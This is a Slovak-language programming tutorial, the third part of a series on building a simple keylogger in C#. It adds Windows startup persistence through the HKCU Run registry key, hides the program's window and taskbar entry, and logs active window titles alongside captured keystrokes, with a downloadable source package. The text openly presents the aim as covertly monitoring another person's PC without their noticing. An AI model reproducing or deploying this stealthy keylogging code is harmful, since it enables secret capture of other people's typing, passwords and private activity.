IT rekvalifikace s garancí práce. Seniorní programátoři vydělávají až 160 000 Kč/měsíc a rekvalifikace je prvním krokem. Zjisti, jak na to!
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.

Jednoduchý keyloggery v C # 3: Spustenie po štarte PC

V minulom dieli sme sprevádzkovali jednoduchý keylogger. Dnes ho vylepšíme o možnosť spustenia po štarte Windows.

Určite je to krásne, keď sa nám keylogger spúšťa sám pri štarte Windows. Keď monitorovaný PC nejaví takmer žiadnu známku o tom, že je monitorovaný. A otravný užívateľ, čo nemá na PC nič robiť je chytený pri čine. A preto sa na to poďme pozrieť :) Vytvoríme si jednoduchú triedu Register.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.Windows.Forms;

namespace KeyLogger
{
    class Register
    {
        static RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
        /// <summary>
        /// Nastaví/odstraní spouštění po startu
        /// </summary>
        /// <param name="run">Hodnota zda se má spouštět, či nikoli</param>
        public static void SetOnStartup(bool run)
        {
            if (run == true)
                rkApp.SetValue(Application.ProductName, Application.ExecutablePath.ToString() + " -h");
            else
                rkApp.DeleteValue(Application.ProductName, false);
        }

        /// <summary>
        /// Zjistí, zda je program nastaven po spuštění. Pokud ano a změnila se cesta, tak ji aktualizuje.
        /// </summary>
        /// <returns></returns>
        public static bool IsOnStartup()
        {
            if (rkApp.GetValue(Application.ProductName) == null) return false;

            if (!System.IO.File.Exists(rkApp.GetValue(Application.ProductName).ToString()))
                rkApp.SetValue(Application.ProductName, Application.ExecutablePath.ToString());

            return true;
        }
    }
}

A teraz použitia. Pridajme na formulár ešte jeden checkbox a nazvime ho "chbStartWithWin­dows", môžeme ho nadpísať "spustí pri štarte Windows?" Ďalej si vytvorme metódu s názvom "CheckStartPro­gram"

// Kontrola, zda se má program spustit po startu, pakliže ano, spustím i logování
private void CheckStartProgram()
{
    if (chbStartWithWindows.Checked == true)
    {
        Register.SetOnStartup(chbStartWithWindows.Checked);
        chbCheckRules.Checked = true; // zaháčkuji okno s pravidly
        StartKeyLogger(); // volání metody pro spuštění
        this.Hide();
        this.ShowInTaskbar = false;

    }
    else
    {
        Register.SetOnStartup(chbStartWithWindows.Checked);
    }
}

Možno ste sa všimli, ale volám tu metódu pre odštartovanie keyloggerov. Áno, vytvoril som z obsahu tlačidlá btnStart metódu, aby som nemusel jeho kód písať 2x. Kód tlačidla vyzerá takto:

private void btnStart_Click(object sender, EventArgs e)
{
    StartKeyLogger();
}

A motoda pre štart keylogger vyzerá teda nasledovne:

private void StartKeyLogger()
{
    this.Text = "KeyLogger 1.5 - Zapnut"; // nadepíšu toto hlavní okno
    btnStop.Enabled = true; // povolím tlačítko pro vypnutí KeyLoggeru
    btnStart.Enabled = false; // zakážu tlačítko pro spuštění KeyLoggeru
    tCheckKey.Enabled = true; // zapnu timer pro snímání kláves
    tCheckHide.Enabled = true; // zapnut timer umožňující skrývání
    tClearField.Enabled = true; // zapnu timer pro mazání okna
}

Teraz si upravíme udalosť Form1_Load, ktorá nastáva pri vytvorení formulára. Potrebujeme aby sa pri vytvorení zapol keyloggerov, ak je zaháčkovaný, že sa má zapnúť pri štarte.

private void Form1_Load(object sender, EventArgs e)
{
    /* Pokud tedy je zaháčkovaný checkBox po spuštění, metoda zapne keyLogger rovnou skrytě.
     * Pokud není zaháčkovaný, keyLogger se spustí, jako kdyby se spustil poprvé. */
    CheckStartProgram(); // voláme metodu, pro zjistění stavu spuštění.
}

Teraz je potrebné zabezpečiť, aby sa nastavilo spustenie pri štarte. Urobíme to v metóde CheckedChanged nášho chbStartWithWin­dows. Kód vyzerá takto:

private void chbStartWithWindows_CheckedChanged(object sender, EventArgs e)
{
    Register.SetOnStartup(chbStartWithWindows.Checked);
}

Teraz nám chýba už len zabezpečiť, aby pri spustení programu sa zistilo a tým pádom aj zaháčkovalo (odháčkovalo), či má byť program spustený po štarte Winodows. To môžeme urobiť v public Form1. Teda upravíme to na toto:

public Form1()
{
    InitializeComponent();
    chbStartWithWindows.Checked = Register.IsOnStartup(); // nastavíme checkBox podle toho, existence registru na spuštění keyLoggeru po startu windows
}

To by malo byť na nastavenie možnosti po spustení Windows asi všetko :)

Teraz už len prehľadnosť a máte pekný keyloggerov :)

Pre sprehľadnenie logu je potrebné vytvoriť ďalšiu triedu. Nazvime ju ActiveWindow. Ako je už z názvu zrejmé, budeme zisťovať, ktoré okno je aktívny. Trieda bude vpády takto:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;

namespace KeyLogger
{
    public static class ActiveWindow
    {

        [DllImport("user32.dll")]
        static extern IntPtr GetForegroundWindow();

        [DllImport("user32.dll")]
        static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

        public static string GetTitle() // metoda, která nám vrací název okna
        {
            const int nChars = 256; // maximální délka názvu
            IntPtr handle = IntPtr.Zero;
            StringBuilder title = new StringBuilder(nChars);
            handle = GetForegroundWindow();

            if (GetWindowText(handle, title, nChars) > 0)
                return title.ToString();
            return "";

        }
    }
}

Teraz už len použitie. Použitie tohto nám upraví kód timeru tCheckKey Nezabudnite vytvoriť premennú sActiveWindowOld!

string sActiveWindowOld = "";

private void tCheckKey_Tick(object sender, EventArgs e)
{
    string activeWindow = ActiveWindow.GetTitle();

    if (activeWindow != sActiveWindowOld) // pokud je aktivní okno jiné, než okno, které bylo aktivní předtím,
        if (activeWindow != "") // a součas jeho název není prázdný
            tbLog.Text += "\r\n" + activeWindow + ": "; // Vytvořím nový záznam do TB o novém okně

    tbLog.Text += Key.GetBuffKeys(); // Přidám stiklou klávesu
    tbLog.Text = Key.ReplaceChars(tbLog.Text); // Pozměním nějaké znaky, jako "space" za " " a pod
    sActiveWindowOld = activeWindow; // Nastavím do starého okna nové okno
}

Táááák, to by malo byť absolútne všetko k veľmi jednoduchému keyloggerov. Snáď to funguje ako má. Keyloggery můžeze ľubovoľne vylepšovať, rád uvítam vaše názory na vylepšenie a podobne :)


 

Stiahnuť

Stiahnutím nasledujúceho súboru súhlasíš s licenčnými podmienkami

Stiahnuté 1248x (80.68 kB)
Aplikácia je vrátane zdrojových kódov v jazyku C#

 

Všetky články v sekcii
C # - Pre pokročilých
Článok pre vás napísal Mediel
Avatar
Užívateľské hodnotenie:
Ešte nikto nehodnotil, buď prvý!
Autor se věnuje programování v C#, ThaiBoxu, ženám a posilování :) „Jestliže si vsugerujete neúspěch, pak vás čeká neúspěch. Někdo říká, že je nesmělý, hloupý. Zopakujte si to desetkrát za sebou a vaše nesmělost a hloupost se tím jen prohloubí.“ MUHAMMAD
Aktivity